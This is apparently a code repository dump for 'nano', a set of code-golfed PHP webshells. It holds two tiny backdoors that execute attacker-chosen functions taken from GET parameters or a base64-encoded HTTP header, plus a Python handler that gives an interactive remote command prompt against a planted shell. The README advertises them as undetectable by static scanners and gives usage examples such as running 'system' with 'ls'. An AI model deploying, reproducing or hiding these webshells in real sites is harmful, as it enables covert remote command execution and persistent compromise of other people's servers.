Repository: s0md3v/nano
Branch: master
Commit: a2c47363d98c
Files: 6
Total size: 3.9 KB

Directory structure:
gitextract_5nlqef24/

├── .gitattributes
├── .whitesource
├── README.md
├── handler.py
├── nano.php
└── ninja.php

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitattributes
================================================
* linguist-language=PHP


================================================
FILE: .whitesource
================================================
{
  "generalSettings": {
    "shouldScanRepo": true
  },
  "checkRunSettings": {
    "vulnerableCheckRunConclusionLevel": "failure"
  }
}

================================================
FILE: README.md
================================================
# nano
Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient.\
Put it on watch maybe, I will continue to upload more webshells in here.

### Nano
```php
<?=$_GET[p]==_&&$_GET[f]($GET_[c]);
```
#### Features
- 35 bytes in size
- Can't be detected by static code scanners
- Supports authentication

#### Usage
`http://example.com/nano.php?f=function&c=command&p=password`

`f` is for function\
`c` is for command\
`p` is for password

For example, the code below will execute the `ls` command:

`http://example.com/nano.php?f=system&c=ls&p=password`

### Ninja
```php
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
```
#### Features
- 93 bytes in size
- Fully Undetectable

#### Usage
This one a bit complex.\
Lets say you want to run `system(ls)` so write it as `system~ls` and then base64 encode it i.e. `c3lzdGVtKGxzKQ==`\
Now add any **1** character at the start of it. Let say 'x' so it will be `xc3lzdGVtKGxzKQ==`\
Now open your terminal and type the following command\
`curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php`\
Too much work? You can use the [handler](https://github.com/s0md3v/nano/blob/master/handler.py) instead.

![handler](https://i.imgur.com/hkAHGwH.png)

#### Everything Else
This is my first php thingy so if there's way to do what I did in a better way please let me know or open a pull request.\
The nano project is licensed under **MIT license** which basically means you have to give me credit if you want to redistribute or modify it.


================================================
FILE: handler.py
================================================
import requests
import sys
import random
import base64

white = '\033[97m'
green = '\033[92m'
red = '\033[91m'
yellow = '\033[93m'
end = '\033[0m'
back = '\033[7;91m'
info = '\033[33m[!]\033[0m'
que = '\033[34m[?]\033[0m'
bad = '\033[31m[-]\033[0m'
good = '\033[32m[+]\033[0m'
run = '\033[97m[~]\033[0m'

if sys.version_info[0]==2:
    input = raw_input
    from urlparse import urlparse
else:
    from urllib.parse import urlparse

print ('''%s1.%s Nano
%s2.%s Ninja\n''' % (green, end, green, end))
shell = input('%s Select the shell type: ' % que)
if shell == '1':
    shell = 'nano'
    url = input('%s Enter the URL of shell: ' % que)
    passwd = input('%s Enter password: ' % que)
if shell == '2':
    shell = 'ninja'
    url = input('%s Enter the URL of shell: ' % que)
function = input('%s Enter the function to use: ' % que)
if not url.startswith('http'):
    url = 'http://' + url

user_agents = ['Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991']

def requester(url, payload, shell):
    headers = {
'Host' : urlparse(url).hostname,
'User-Agent' : random.choice(user_agents),
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'en-US,en;q=0.5',
'Accept-Encoding' : 'deflate',
'Connection' : 'close',
'DNT' : '1',
'Connection' : 'close',
'Upgrade-Insecure-Requests' : '1'}
    if shell == 'nano':
        payload = '?f=%s&c=%s&p=%s' % (function, payload, passwd)
        print (requests.get(url + payload , headers=headers).text)
    elif shell == 'ninja':
        bases = ['T', 'w', 'F', 'v', 'Z', 'n']
        payload = random.choice(bases) + (base64.b64encode((function + '~' + payload).encode('utf-8'))).decode('utf-8')
        headers['x'] = payload
        print (requests.get(url, headers=headers).text)
while True:
    payload = input('%s>%s ' % (green, end))
    requester(url, payload, shell)


================================================
FILE: nano.php
================================================
<?=$_GET[p]==_&&$_GET[f]($_GET[c]);


================================================
FILE: ninja.php
================================================
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);